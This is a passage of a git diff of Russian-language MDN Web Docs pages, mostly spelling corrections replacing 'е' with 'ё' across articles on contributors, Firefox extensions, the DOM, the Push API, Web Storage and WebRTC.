способа начать работу. Вы видите страницу, которую можно улучшить (исправив опечатку, добавив новую информацию или исправив технические ошибки)? Просто нажмите большую синюю кнопку "Редактировать" в верхней части страницы. <span class="tlid-translation translation" lang="ru"><span title="">Вы знаете что-то, чего мы ещё не освещаем?</span></span> Просто <a href="/ru/docs/MDN/Contribute/Creating_and_editing_pages#Создание_новой_страницы">создайте новую страницу</a>; <span class="tlid-translation translation" lang="ru"><span title="">наше сообщество замечательных обозревателей и редакторов позаботится о том, чтобы ваша страница соответствовала нашему <a href="/ru/docs/Project:Writer's_guide">руководству по оформлению</a> и находилась в нужном месте на сайте.</span> <span title="">Не переживайте из-за того, чтобы получилось «полностью правильно».</span> <span title="">Каждый может помочь сделать Интернет лучше.</span></span></p> </div> <div class="column-4"> @@ -32,7 +32,7 @@ original_slug: MDN_at_ten/Contributing_to_MDN <div class="column-8"> <h2 id="Выборка_профилей_участников">Выборка профилей участников</h2> -<p>MDN состоит из огромного сообщества участников. <span class="tlid-translation translation" lang="ru"><span title="">Хотя мы не можем предложить профили всех из них (это было бы очень долго!), Мы можем рассказать кое-что о некоторых из тех, кто внес существенный или важный вклад, а также о тех, кто</span> <span title="">скорее всего, будет доступен в <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">чате MDN Web Docs</a>, чтобы помочь вам, если вам понадобится помощь в вашем участии.</span></span></p> +<p>MDN состоит из огромного сообщества участников. <span class="tlid-translation translation" lang="ru"><span title="">Хотя мы не можем предложить профили всех из них (это было бы очень долго!), Мы можем рассказать кое-что о некоторых из тех, кто внёс существенный или важный вклад, а также о тех, кто</span> <span title="">скорее всего, будет доступен в <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">чате MDN Web Docs</a>, чтобы помочь вам, если вам понадобится помощь в вашем участии.</span></span></p> <div class="column-container"> <div class="column-half"> @@ -59,7 +59,7 @@ original_slug: MDN_at_ten/Contributing_to_MDN <h3 id="Julien_Sphinx_Доброволец"><span id="Julien_Sphinx_Volunteer">Julien (Sphinx)<br> <small>Доброволец</small></span></h3> -<p><a href="/en-US/profiles/SphinxKnight">Julien</a> <span class="tlid-translation translation" lang="ru"><span title="">внес «львиную долю» усилий на перевод всего раздела JavaScript в MDN на французский язык.</span> <span title="">Многие другие участники также помогли в этой работе, но </span></span> Julien <span class="tlid-translation translation" lang="ru"><span title=""> провел много ночей и выходных в течение нескольких месяцев, переводя статьи на JavaScript.</span></span></p> +<p><a href="/en-US/profiles/SphinxKnight">Julien</a> <span class="tlid-translation translation" lang="ru"><span title="">внёс «львиную долю» усилий на перевод всего раздела JavaScript в MDN на французский язык.</span> <span title="">Многие другие участники также помогли в этой работе, но </span></span> Julien <span class="tlid-translation translation" lang="ru"><span title=""> провёл много ночей и выходных в течение нескольких месяцев, переводя статьи на JavaScript.</span></span></p> <h3 id="Jeff_Walden_Software_Engineer_JavaScript_Engine">Jeff Walden<br> <small>Software Engineer, JavaScript Engine</small></h3> @@ -71,12 +71,12 @@ original_slug: MDN_at_ten/Contributing_to_MDN <h3 id="Priyanka_Nag_Доброволец">Priyanka Nag<br> <small>Доброволец</small></h3> -<p><a href="/profiles/Priyanka13">Priyanka Nag</a> присоединилась к MDN в 2012 году, но стала активно работать с сообществом MDN только после саммита Mozilla в 2013 году, где она встретилась и работала с Luke Crouch и David Walsh из команды разработчиков MDN; <span class="tlid-translation translation" lang="ru"><span title="">это послужило ее главным вдохновением, чтобы начать вносить свой вклад в MDN.</span></span> Priyanka <span class="tlid-translation translation" lang="ru"><span title="">в основном любит проповедовать MDN, проводить мероприятия MDN и знакомить с MDN больше людей, а также время от времени вносить некоторые правки в вики.</span></span> В настоящее время она работает техническим писателем в Red Hat и с гордостью утверждает, что ее интерес к техническому писательству начался с ее вклада в MDN, который в конечном итоге оказал большое влияние на ее решение о карьере.</p> +<p><a href="/profiles/Priyanka13">Priyanka Nag</a> присоединилась к MDN в 2012 году, но стала активно работать с сообществом MDN только после саммита Mozilla в 2013 году, где она встретилась и работала с Luke Crouch и David Walsh из команды разработчиков MDN; <span class="tlid-translation translation" lang="ru"><span title="">это послужило её главным вдохновением, чтобы начать вносить свой вклад в MDN.</span></span> Priyanka <span class="tlid-translation translation" lang="ru"><span title="">в основном любит проповедовать MDN, проводить мероприятия MDN и знакомить с MDN больше людей, а также время от времени вносить некоторые правки в вики.</span></span> В настоящее время она работает техническим писателем в Red Hat и с гордостью утверждает, что её интерес к техническому писательству начался с её вклада в MDN, который в конечном итоге оказал большое влияние на её решение о карьере.</p> <h3 id="Saurabh_Nair_Доброволец">Saurabh Nair<br> <small>Доброволец</small></h3> -<p><a href="/profiles/jsx">Saurabh</a> он вносит свой вклад в MDN с 2011 года и стал более активным в прошлом году. Он входит в команду “spam watch”, которая следит за спам-страницами, удаляя их и запрещая спамеров, как только они появляются. Поскольку он живет в Индии, он может делать это, пока сотрудники MDN в Европе и Северной Америке спят.</p> +<p><a href="/profiles/jsx">Saurabh</a> он вносит свой вклад в MDN с 2011 года и стал более активным в прошлом году. Он входит в команду “spam watch”, которая следит за спам-страницами, удаляя их и запрещая спамеров, как только они появляются. Поскольку он живёт в Индии, он может делать это, пока сотрудники MDN в Европе и Северной Америке спят.</p> <h3 id="Eric_Shepherd_Sheppy_Senior_Technical_Writer">Eric Shepherd (Sheppy)<br> <small>Senior Technical Writer</small></h3> diff --git a/files/ru/conflicting/mozilla/add-ons/index.html b/files/ru/conflicting/mozilla/add-ons/index.html index 11dde5714b..09e3f37570 100644 --- a/files/ru/conflicting/mozilla/add-ons/index.html +++ b/files/ru/conflicting/mozilla/add-ons/index.html @@ -129,7 +129,7 @@ original_slug: Building_an_Extension <li>название chrome пакета (удостоверьтесь, что Вы используете все символы в нижнем регистре для имени пакета ("sample"), так как во 2-й версии не поддерживается смешанные регистры и вы получите ошибку {{ Bug(132183) }}</li> <li>местоположение файлов chrome пакета</li> </ol> -<p>Эта строка говорит, что для chrome пакета с именем <strong>sample</strong>, файлы информационного наполнения находятся в <code>chrome/content</code>, который является путем относительно местоположения <code>chrome.manifest</code>.</p> +<p>Эта строка говорит, что для chrome пакета с именем <strong>sample</strong>, файлы информационного наполнения находятся в <code>chrome/content</code>, который является путём относительно местоположения <code>chrome.manifest</code>.</p> <p>Заметьте, что content, locale и skin должны быть сохранены как каталоги, с соответствующими именами content, locale и skin в подкаталоге <code>chrome</code>.</p> <p>Сохраните файл. Когда Вы запустите Firefox со своим расширением, (это будет позже в данном уроке), chrome пакет будет зарегистрирован.</p> <h2 id="Register_an_Overlay" name="Register_an_Overlay">Регистрация Оверлея</h2> @@ -150,8 +150,8 @@ original_slug: Building_an_Extension <p>Запустите Firefox. Firefox обнаружит ссылку на каталог вашего расширения и установит его. Когда появится окно браузера вы должны увидеть текст "Hello, World!" на правой стороне в панели статуса.</p> <p>Вы можете вернуться и внести необходимые изменения в .xul файл, после чего закрыть и перезапустить Firefox и изменения немедленно вступят в силу.</p> <h2 id="Package" name="Package">Упаковка</h2> -<p>Теперь, когда ваше расширение работает, вы можете его <a href="/en/Extension_Packaging" title="en/Extension_Packaging">упаковать</a> для последующего развертывания и установки.</p> -<p>За "зипуйте" папку <strong>contents</strong> вашего Расширения (не саму папку расширения), и переименуйте получившийся zip файл, так чтобы он имел расширение .xpi. В Windows XP, вы можете сделать это очень просто, выбрав все файлы и вложенные папки в папке вашего расширения, и щелкнув правой кнопкой мыши и выбрав "Send To -> Compressed (Zipped) Folder". Zip файл будет создан. Просто переименуйте его, и готово!</p> +<p>Теперь, когда ваше расширение работает, вы можете его <a href="/en/Extension_Packaging" title="en/Extension_Packaging">упаковать</a> для последующего развёртывания и установки.</p> +<p>За "зипуйте" папку <strong>contents</strong> вашего Расширения (не саму папку расширения), и переименуйте получившийся zip файл, так чтобы он имел расширение .xpi. В Windows XP, вы можете сделать это очень просто, выбрав все файлы и вложенные папки в папке вашего расширения, и щёлкнув правой кнопкой мыши и выбрав "Send To -> Compressed (Zipped) Folder". Zip файл будет создан. Просто переименуйте его, и готово!</p> <p>В Mac OS X, вы можете нажать правой кнопкой мыши на папке <strong>contents</strong> вашего Расширения и выбрать "Создать архив ..." для создания архива. Однако, Mac OS X добавляет скрытые файлы в папку. Поэтому следует использовать Terminal, для удаления скрытых файлов (чьи имена начинаются с периода), а затем ввести в командной строке zip команду для создания архива.</p> <p>В Linux, вы аналогичным образом можете использовать в командной строке Zip инструменты.</p> <p>Если у вас установлено Extension Builder вы можете использовать его для сборки .xpi файла (Tools -> Extension Developer -> Extension Builder). Просто выберите каталог, где находится ваше расширение (install.rdf т.д.), и нажмите кнопку Build Extension (Построить расширение). Это расширение имеет множество инструментов для облегчения процесса создания расширений.</p> diff --git a/files/ru/conflicting/mozilla/firefox/releases/index.html b/files/ru/conflicting/mozilla/firefox/releases/index.html index 7fbfd3fe07..d5066a55be 100644 --- a/files/ru/conflicting/mozilla/firefox/releases/index.html +++ b/files/ru/conflicting/mozilla/firefox/releases/index.html @@ -121,7 +121,7 @@ original_slug: Tools/Release_notes <ul> <li><a href="/ru/docs/Tools/Shader_Editor">Редактор шейдеров</a> позволяет просматривать и редактировать шейдеры WebGL</li> - <li>Возможность поставить точку остановки в дебаггере на определенное <a href="/ru/docs/Tools/Debugger#Break_on_a_DOM_event">DOM событие</a> которое Вам нужно отловить</li> + <li>Возможность поставить точку остановки в дебаггере на определённое <a href="/ru/docs/Tools/Debugger#Break_on_a_DOM_event">DOM событие</a> которое Вам нужно отловить</li> <li><a href="/ru/docs/Tools/Page_Inspector#Editing_HTML">Редактирование HTML в Инспекторе</a></li> <li>See color swatches and background images in the Inspector's <a href="/ru/docs/Tools/Page_Inspector#Rules_view">Rules view</a></li> <li>The Web Веб консольConsole now <a href="/ru/docs/Tools/Web_Console#Reflow_events">logs reflow events</a></li> diff --git a/files/ru/conflicting/tools/performance/index.html b/files/ru/conflicting/tools/performance/index.html index b28bb78ca3..6b578829f1 100644 --- a/files/ru/conflicting/tools/performance/index.html +++ b/files/ru/conflicting/tools/performance/index.html @@ -71,7 +71,7 @@ Sample C: doSomething() > logTheValue()</pre> <p>Панель разделена на две части:</p> <ul> - <li>Левая сторона содержит список всех записанных профилей и позволяет загрузить любой из них. Ниже находятся две кнопки: <em>stopwatch</em> позволяет записать новый профиль, в то время как<em> import... </em>позволяет импортировать ранее сохраненные данные. Когда профиль выбран, вы можете сохранить его данные как файл в формате JSON нажав на кнопке <em>Save</em>.</li> + <li>Левая сторона содержит список всех записанных профилей и позволяет загрузить любой из них. Ниже находятся две кнопки: <em>stopwatch</em> позволяет записать новый профиль, в то время как<em> import... </em>позволяет импортировать ранее сохранённые данные. Когда профиль выбран, вы можете сохранить его данные как файл в формате JSON нажав на кнопке <em>Save</em>.</li> <li>Правая сторона показывает текущий загруженный профиль.</li> </ul> diff --git a/files/ru/conflicting/web/api/document_object_model/index.html b/files/ru/conflicting/web/api/document_object_model/index.html index def3b15b61..1432597b41 100644 --- a/files/ru/conflicting/web/api/document_object_model/index.html +++ b/files/ru/conflicting/web/api/document_object_model/index.html @@ -35,7 +35,7 @@ original_slug: DOM <dt> <a class="external" href="http://www.mozilla.org/docs/dom/">Объектная модель документа Mozilla</a></dt> <dd> - Более старая документация по DOM, размещенная на mozilla.org.</dd> + Более старая документация по DOM, размещённая на mozilla.org.</dd> </dl> <p><span class="alllinks"><a href="/ru/docs/tag/DOM">Посмотреть все...</a></span></p> </td> diff --git a/files/ru/conflicting/web/api/document_object_model_5521049528397035462607d58539e0cc/index.html b/files/ru/conflicting/web/api/document_object_model_5521049528397035462607d58539e0cc/index.html index ba7d7d07d8..7794d4e392 100644 --- a/files/ru/conflicting/web/api/document_object_model_5521049528397035462607d58539e0cc/index.html +++ b/files/ru/conflicting/web/api/document_object_model_5521049528397035462607d58539e0cc/index.html @@ -13,7 +13,7 @@ original_slug: Об_объектной_модели_документа <p>Все свойства, методы и события, доступные веб-разработчику для манипулирования и создания веб-страниц организованы в <a href="ru/%d0%a1%d0%bf%d1%80%d0%b0%d0%b2%d0%be%d1%87%d0%bd%d0%b0%d1%8f_%d0%b8%d0%bd%d1%84%d0%be%d1%80%d0%bc%d0%b0%d1%86%d0%b8%d1%8f_%d0%bf%d0%be_Gecko_DOM">объекты</a> (например, объект document, который представляет сам документ, объект table, который представляет элементы HTML-таблицы, и т.д.). Эти объекты доступны через скриптовые языки в большинстве современных браузеров.</p> -<p>В основном DOM используется вместе с <a href="ru/JavaScript">JavaScript</a>. То есть код пишется на JavaScript, но он использует DOM для доступа к веб-странице и ее элементам. Тем не менее, DOM создавался, чтобы независимо от конкретных языков программирования имелась возможность доступа к структурному представлению документа через один API. Несмотря на то, что на этом сайте мы заострим внимание на JavaScript, реализации DOM могут быть созданы для <a class="external" href="http://www.w3.org/DOM/Bindings">любого языка</a>.</p> +<p>В основном DOM используется вместе с <a href="ru/JavaScript">JavaScript</a>. То есть код пишется на JavaScript, но он использует DOM для доступа к веб-странице и её элементам. Тем не менее, DOM создавался, чтобы независимо от конкретных языков программирования имелась возможность доступа к структурному представлению документа через один API. Несмотря на то, что на этом сайте мы заострим внимание на JavaScript, реализации DOM могут быть созданы для <a class="external" href="http://www.w3.org/DOM/Bindings">любого языка</a>.</p> <p><a class="external" href="http://www.w3.org/">World Wide Web Consortium</a> установил <a class="external" href="http://www.w3.org/DOM/">стандарт для DOM</a>, называемый W3C DOM. Сейчас, когда большинство браузеров поддерживают этот стандарт, появилась возможность создавать мощные кросс-браузерные приложения.</p> @@ -21,6 +21,6 @@ original_slug: Об_объектной_модели_документа <p>"Динамический HTML" (<a href="ru/DHTML">DHTML</a>) — это термин, под которым понимают совокупность HTML, CSS и скриптов, которые позволяют создавать анимированные веб-страницы. Поскольку Mozilla позиционирует свой продукт как "платформу для веб-приложений", поддержка DOM является очень важной и необходимой, чтобы Mozilla была достойной альтернативой другим браузерам.</p> -<p>Еще более важным фактом является то, что пользовательский интерфейс в Mozilla (а также в Firefox и Thunderbird) построен на XUL — языке разметки пользовательского интерфейса. Так что Mozilla использует DOM для <a href="ru/Dynamically_modifying_XUL-based_user_interface">изменения своего интерфейса</a>.</p> +<p>Ещё более важным фактом является то, что пользовательский интерфейс в Mozilla (а также в Firefox и Thunderbird) построен на XUL — языке разметки пользовательского интерфейса. Так что Mozilla использует DOM для <a href="ru/Dynamically_modifying_XUL-based_user_interface">изменения своего интерфейса</a>.</p> <p>{{ languages( { "es": "es/Acerca_del_Modelo_de_Objetos_del_Documento", "fr": "fr/\u00c0_propos_du_Document_Object_Model", "ja": "ja/About_the_Document_Object_Model", "ko": "ko/About_the_Document_Object_Model", "pl": "pl/O_modelu_obiektowym_dokumentu", "zh-cn": "cn/\u5173\u4e8e\u6587\u6863\u5bf9\u8c61\u6a21\u578b" } ) }}</p> diff --git a/files/ru/conflicting/web/api/push_api/index.html b/files/ru/conflicting/web/api/push_api/index.html index da06239951..64f42942bb 100644 --- a/files/ru/conflicting/web/api/push_api/index.html +++ b/files/ru/conflicting/web/api/push_api/index.html @@ -21,7 +21,7 @@ original_slug: Web/API/Push_API/Using_the_Push_API <p><img alt="" src="https://mdn.mozillademos.org/files/11823/push-api-demo.png" style="border: 1px solid black; display: block; height: 406px; margin: 0px auto; width: 705px;"></p> -<p>Чтобы запустить демо, следуйте инструкциям на странице <a href="https://github.com/chrisdavidmills/push-api-demo">push-api-demo README</a>. Заметьте, что серверная компонента все еще нуждается в небольшой доработке для запуска в Chrome и в общем запускается более разумным путем. Но аспекты Push все еще могут быть полностью понятны; мы углубимся в это после того, как просмотрим технологии в процессе.</p> +<p>Чтобы запустить демо, следуйте инструкциям на странице <a href="https://github.com/chrisdavidmills/push-api-demo">push-api-demo README</a>. Заметьте, что серверная компонента все ещё нуждается в небольшой доработке для запуска в Chrome и в общем запускается более разумным путём. Но аспекты Push все ещё могут быть полностью понятны; мы углубимся в это после того, как просмотрим технологии в процессе.</p> <h2 id="Обзор_технологии">Обзор технологии</h2> @@ -66,7 +66,7 @@ original_slug: Web/API/Push_API/Using_the_Push_API <li>Отправка данных на сервер, чтобы тот мог присылать push-сообщения, когда необходимо. Это демо использует {{domxref("XMLHttpRequest")}}, но вы можете использовать <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>.</li> <li>Если вы используете <a href="/en-US/docs/Web/API/Channel_Messaging_API">Channel Messaging API</a> для связи с сервис воркером, установите новый канал связи ({{domxref("MessageChannel.MessageChannel()")}}) и отправьте <code>port2</code> сервис воркеру с помощью вызова {{domxref("Worker.postMessage()")}} для того, чтобы открыть канал связи. Вы так же должны настроить обработчик ответов на сообщения, которые будут отправляться обратно с сервис воркера.</li> <li>На стороне сервера сохраните конечную точку и все остальные необходимые данные, чтобы они были доступны, когда будет необходимо отправить push-сообщение добавленному подписчику (мы используем простой текстовый файл, но вы можете использовать базу данных или все что угодно на ваш вкус). В приложении на продакшене убедитесь, что скрываете эти данные, так что злоумышленники не смогут украсть конечную точку и разослать спам подписчикам в push-сообщениях.</li> - <li>Для отправки push-сообщений необходимо отослать HTTP <code>POST</code> конечному URL. Запрос должен включать <code>TTL</code> заголовок, который ограничивает время пребывания сообщения в очереди, если пользователь не в сети. Для добавления полезной информации в запросе, необходимо зашифровать ее (что включает публичный ключ клиента). В нашем примере мы используем <a href="https://github.com/marco-c/web-push">web-push</a> модуль, который управляет всей тяжелой работой.</li> + <li>Для отправки push-сообщений необходимо отослать HTTP <code>POST</code> конечному URL. Запрос должен включать <code>TTL</code> заголовок, который ограничивает время пребывания сообщения в очереди, если пользователь не в сети. Для добавления полезной информации в запросе, необходимо зашифровать её (что включает публичный ключ клиента). В нашем примере мы используем <a href="https://github.com/marco-c/web-push">web-push</a> модуль, который управляет всей тяжёлой работой.</li> <li>Поверх в сервис воркере настройте обработчик событий <code>push</code> для ответов на полученные push-сообщения. <ol> <li>Если вы хотите отвечать отправкой сообщения канала обратно основному контексту (смотри шаг 6), необходимо сначала получить ссылку на <code>port2,</code> который был отправлен контексту сервис воркера ({{domxref("MessagePort")}}). Это доступно в объекте {{domxref("MessageEvent")}}, передаваемого обработчику <code>onmessage </code>({{domxref("ServiceWorkerGlobalScope.onmessage")}}). Конкретнее, он находится в свойстве <code>ports</code>, индекс 0. Когда это сделано, вы можете отправить сообщение обратно <code>port1</code>, используя {{domxref("MessagePort.postMessage()")}}.</li> @@ -77,7 +77,7 @@ original_slug: Web/API/Push_API/Using_the_Push_API <h2 id="Сборка_демо">Сборка демо</h2> -<p>Давайте пройдемся по коду для демо, чтобы понять, как все работает.</p> +<p>Давайте пройдёмся по коду для демо, чтобы понять, как все работает.</p> <h3 id="HTML_и_CSS">HTML и CSS</h3> @@ -113,7 +113,7 @@ nameInput.value = 'Bob';</pre> <p>Сначала нам необходимо создать две булевы переменные, для того чтобы отслеживать подписку на push-сообщения и подтверждение разрешения на рассылку уведомлений.</p> -<p>Далее, мы перехватываем ссылку на {{htmlelement("button")}} подписки/отписки и задаем переменные для сохранения ссылок на наши кнопку отправки сообщения/ввода (который создастся только после успешной подписки).<br> +<p>Далее, мы перехватываем ссылку на {{htmlelement("button")}} подписки/отписки и задаём переменные для сохранения ссылок на наши кнопку отправки сообщения/ввода (который создастся только после успешной подписки).<br> <br> Следующие переменные перехватывают ссылки на три основные {{htmlelement("div")}} элемента, так что мы можем включить в них элементы (к примеру, когда появится кнопка <em>Отправки Сообщения Чата</em> или сообщение появится с писке <em>Сообщений</em>).</p> diff --git a/files/ru/conflicting/web/api/web_storage_api/index.html b/files/ru/conflicting/web/api/web_storage_api/index.html index cbcff26342..cb20c00588 100644 --- a/files/ru/conflicting/web/api/web_storage_api/index.html +++ b/files/ru/conflicting/web/api/web_storage_api/index.html @@ -7,7 +7,7 @@ original_slug: Web/Guide/API/DOM/Storage --- <h2 id="sect1"> </h2> -<p>DOM хранилище (DOM Storage) - это название для набора инструментов, <a href="http://www.whatwg.org/specs/web-apps/current-work/#storage">относящихся к хранилищам</a>, впервые представленных в спецификации <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/" title="http://www.whatwg.org/specs/web-apps/current-work/">Web Applications 1.0</a>, и выделенных теперь в отдельную спецификацию <a class="external" href="http://dev.w3.org/html5/webstorage/" title="http://dev.w3.org/html5/webstorage/">W3C Web Storage</a>. DOM хранилище было разработано с целью предоставления альтернативы хранению информации в кукисах. Предполагается, что DOM хранилище предоставляет больше объема, оно более защищено и легче в использовании. Впервые оно было представлено в браузерах <a href="/en-US/docs/Firefox_2_for_developers" title="Firefox_2_for_developers">Firefox 2</a> и <a class="external" href="http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/Name-ValueStorage/Name-ValueStorage.html" title="http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/Name-ValueStorage/Name-ValueStorage.html">Safari 4</a>.</p> +<p>DOM хранилище (DOM Storage) - это название для набора инструментов, <a href="http://www.whatwg.org/specs/web-apps/current-work/#storage">относящихся к хранилищам</a>, впервые представленных в спецификации <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/" title="http://www.whatwg.org/specs/web-apps/current-work/">Web Applications 1.0</a>, и выделенных теперь в отдельную спецификацию <a class="external" href="http://dev.w3.org/html5/webstorage/" title="http://dev.w3.org/html5/webstorage/">W3C Web Storage</a>. DOM хранилище было разработано с целью предоставления альтернативы хранению информации в кукисах. Предполагается, что DOM хранилище предоставляет больше объёма, оно более защищено и легче в использовании. Впервые оно было представлено в браузерах <a href="/en-US/docs/Firefox_2_for_developers" title="Firefox_2_for_developers">Firefox 2</a> и <a class="external" href="http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/Name-ValueStorage/Name-ValueStorage.html" title="http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/Name-ValueStorage/Name-ValueStorage.html">Safari 4</a>.</p> <div class="note"><strong>Заметка:</strong> DOM хранилище - это не то же самое, что <a href="/en-US/docs/Storage" title="Storage">mozStorage</a> (Mozilla's XPCOM interfaces to SQLite) или <a href="/en-US/docs/Session_store_API" title="Session_store_API">Session store API</a> (утилита <a href="/en-US/docs/XPCOM" title="XPCOM">XPCOM</a> - хранилище для использования в расширениях).</div> @@ -21,9 +21,9 @@ original_slug: Web/Guide/API/DOM/Storage <p>Браузеры на основе Mozilla, Internet Explorer 8 +, Safari 4 + и Chrome обеспечивают рабочую реализацию спецификации DOM хранилища. (В случае, если нужна кросс-браузерная поддержка функциональности, включая более старые версии IE, будет полезно отметить, что IE также имеет подобную легаси функциональность под названием "<a href="http://msdn.microsoft.com/en-us/library/ms531424(VS.85).aspx">USERDATA поведение</a>", которая дополнение DOM хранилище IE в IE8.)</p> -<p>DOM хранилище удобно, потому что нет других хороших способов хранения разумных объемов данных за любой период времени, встроенных в браузер. <a href="http://en.wikipedia.org/wiki/HTTP_cookie">Кукисы </a>ограничены в количестве хранимой информации и не обеспечивают поддержку для организации постоянных данных, а другие методы (например, <a href="http://www.macromedia.com/support/documentation/en-US/docs/flashplayer/help/help02.html">флэш-локальное хранилище</a>) требуют плагина.</p> +<p>DOM хранилище удобно, потому что нет других хороших способов хранения разумных объёмов данных за любой период времени, встроенных в браузер. <a href="http://en.wikipedia.org/wiki/HTTP_cookie">Кукисы </a>ограничены в количестве хранимой информации и не обеспечивают поддержку для организации постоянных данных, а другие методы (например, <a href="http://www.macromedia.com/support/documentation/en-US/docs/flashplayer/help/help02.html">флэш-локальное хранилище</a>) требуют плагина.</p> -<p>Одним из первых известных приложений, использующих новые функциональные возможности DOM хранилища(в дополнение к USERDATA поведения в Internet Explorer) было <a href="http://aaronboodman.com/halfnote/">halfnote </a>(приложение для заметок), написанное <a href="http://aaronboodman.com/">Аароном Будменом</a>. В своем приложении, Аарон одновременно сохранял заметки на сервере (когда/если Интернет-подключение был доступно) и локального хранилища данных(в обратном случае). Это дало возможность пользователю смело писать резервные копии заметок даже при нерегулярном подключении к Интернету.</p> +<p>Одним из первых известных приложений, использующих новые функциональные возможности DOM хранилища(в дополнение к USERDATA поведения в Internet Explorer) было <a href="http://aaronboodman.com/halfnote/">halfnote </a>(приложение для заметок), написанное <a href="http://aaronboodman.com/">Аароном Будменом</a>. В своём приложении, Аарон одновременно сохранял заметки на сервере (когда/если Интернет-подключение был доступно) и локального хранилища данных(в обратном случае). Это дало возможность пользователю смело писать резервные копии заметок даже при нерегулярном подключении к Интернету.</p> <p>Хотя идея и реализация halfnote были сравнительно простыми, создание halfnote показывает возможность для нового поколения веб-приложений, которые можно использовать как в онлайн-, так и оффлайн- режиме.</p> @@ -39,7 +39,7 @@ original_slug: Web/Guide/API/DOM/Storage <p>Единицы <code>globalStorage</code> являются экземплярами <span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: 1.5;">StorageObsolete,</span> а <span style="line-height: 1.5;">не </span><code style="font-style: normal; line-height: 1.5;">Storage</code><span style="line-height: 1.5;">.</span></p> -<p><code>Storage</code> определен в WhatWG <a class="external" href="http://dev.w3.org/html5/webstorage/#storage-0" title="http://dev.w3.org/html5/webstorage/#storage-0">Storage Interface</a> следующим образом:</p> +<p><code>Storage</code> определён в WhatWG <a class="external" href="http://dev.w3.org/html5/webstorage/#storage-0" title="http://dev.w3.org/html5/webstorage/#storage-0">Storage Interface</a> следующим образом:</p> <pre class="eval">interface <dfn>Storage</dfn> { readonly attribute unsigned long <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-length" title="dom-Storage-length">length</a>; @@ -53,16 +53,16 @@ original_slug: Web/Guide/API/DOM/Storage <div class="note"><strong>Заметка: </strong>Несмотря на то, что значения доступны для чтения и записи через стандартные способы Javascript, рекомендуется использование <span style="line-height: 1.5;">getItem и setItem.</span></div> -<div class="note"><strong>Заметка:</strong> Обратите внимание, что любые данные, которые хранятся в любом из хранилищ, описанных на этой странице, преобразуются в строку, используя метод<span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: 1.5;">.toString</span><span style="line-height: 1.5;">. перед тем, как сохранить значение. Попытка сохранить объект приведет к сохранению строки </span><code style="font-style: italic;">"[object Object]"</code> <span style="line-height: 1.5;">вместо объекта или его JSON </span><span style="line-height: 1.5;">представления</span><span style="line-height: 1.5;">. Самым лучшим и распространенным способом сохранения объектов в формате строки является использование п</span><span style="line-height: 1.5;">редоставляемых браузером </span><span style="line-height: 1.5;">методов JSON для парсинга</span><span style="line-height: 1.5;"> </span><span style="line-height: 1.5;">и сериализации объектов.</span></div> +<div class="note"><strong>Заметка:</strong> Обратите внимание, что любые данные, которые хранятся в любом из хранилищ, описанных на этой странице, преобразуются в строку, используя метод<span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: 1.5;">.toString</span><span style="line-height: 1.5;">. перед тем, как сохранить значение. Попытка сохранить объект приведёт к сохранению строки </span><code style="font-style: italic;">"[object Object]"</code> <span style="line-height: 1.5;">вместо объекта или его JSON </span><span style="line-height: 1.5;">представления</span><span style="line-height: 1.5;">. Самым лучшим и распространённым способом сохранения объектов в формате строки является использование п</span><span style="line-height: 1.5;">редоставляемых браузером </span><span style="line-height: 1.5;">методов JSON для парсинга</span><span style="line-height: 1.5;"> </span><span style="line-height: 1.5;">и сериализации объектов.</span></div> <h3 id="sessionStorage"><code>sessionStorage</code></h3> -<p>Это глобальный объект <span style="line-height: 1.5;">(</span><code style="font-style: normal; line-height: 1.5;">sessionStorage</code><span style="line-height: 1.5;">), который сохраняет значения, которые доступны в течение периода текущей сессии. Сессия страницы длится, пока браузер открыт, и восстанавливает свои значения после перегрузки страницы. Открытие страницы в новой вкладке или окне приведет к созданию новой сессии для этой страницы.</span></p> +<p>Это глобальный объект <span style="line-height: 1.5;">(</span><code style="font-style: normal; line-height: 1.5;">sessionStorage</code><span style="line-height: 1.5;">), который сохраняет значения, которые доступны в течение периода текущей сессии. Сессия страницы длится, пока браузер открыт, и восстанавливает свои значения после перегрузки страницы. Открытие страницы в новой вкладке или окне приведёт к созданию новой сессии для этой страницы.</span></p> <pre class="brush:js">// Сохранить данные в локальное хранилище текущей сессии sessionStorage.setItem("username", "John"); -// Получить значения сохраненного значения +// Получить значения сохранённого значения alert( "username = " + sessionStorage.getItem("username")); </pre> @@ -99,7 +99,7 @@ alert( "username = " + sessionStorage.getItem("username")); <p><code>localStorage</code> - это то же самое, что и<code> {{ Anch("sessionStorage") }},</code> поддерживает правила единого происхождения(same-origin rules), но хранение данных постоянно. <code>localStorage</code> был представлен в Firefox 3.5.</p> -<div class="note"><strong>Заметка:</strong> Когда браузер переходит в частный режим браузера(<span style="line-height: 1.5;">private browsing mode), то новая, временная база данных создается для хранения данных локального хранилища; эта база данных очищается и удаляется, как только частный режим браузера выключается.</span></div> +<div class="note"><strong>Заметка:</strong> Когда браузер переходит в частный режим браузера(<span style="line-height: 1.5;">private browsing mode), то новая, временная база данных создаётся для хранения данных локального хранилища; эта база данных очищается и удаляется, как только частный режим браузера выключается.</span></div> <h4 id="Совместимость">Совместимость</h4> diff --git a/files/ru/conflicting/web/api/webrtc_api/index.html b/files/ru/conflicting/web/api/webrtc_api/index.html index b1e3f5d481..6e7c0536eb 100644 --- a/files/ru/conflicting/web/api/webrtc_api/index.html +++ b/files/ru/conflicting/web/api/webrtc_api/index.html @@ -21,7 +21,7 @@ original_slug: Web/Guide/API/WebRTC <dt><a href="/en-US/docs/Web/Guide/API/WebRTC/WebRTC_architecture">Введение в архитектуру WebRTC</a></dt> <dd><strong>(AKA "WebRTC and the Ocean of Acronyms")</strong> WebRTC состоит из множества частей и это может быть причиной сложностей для новичков. Эта статья рассказывает обо всех частях и объясняет то как они между собой связаны.</dd> <dt><a href="/en-US/docs/Web/Guide/API/WebRTC/WebRTC_basics">Основы WebRTC </a></dt> - 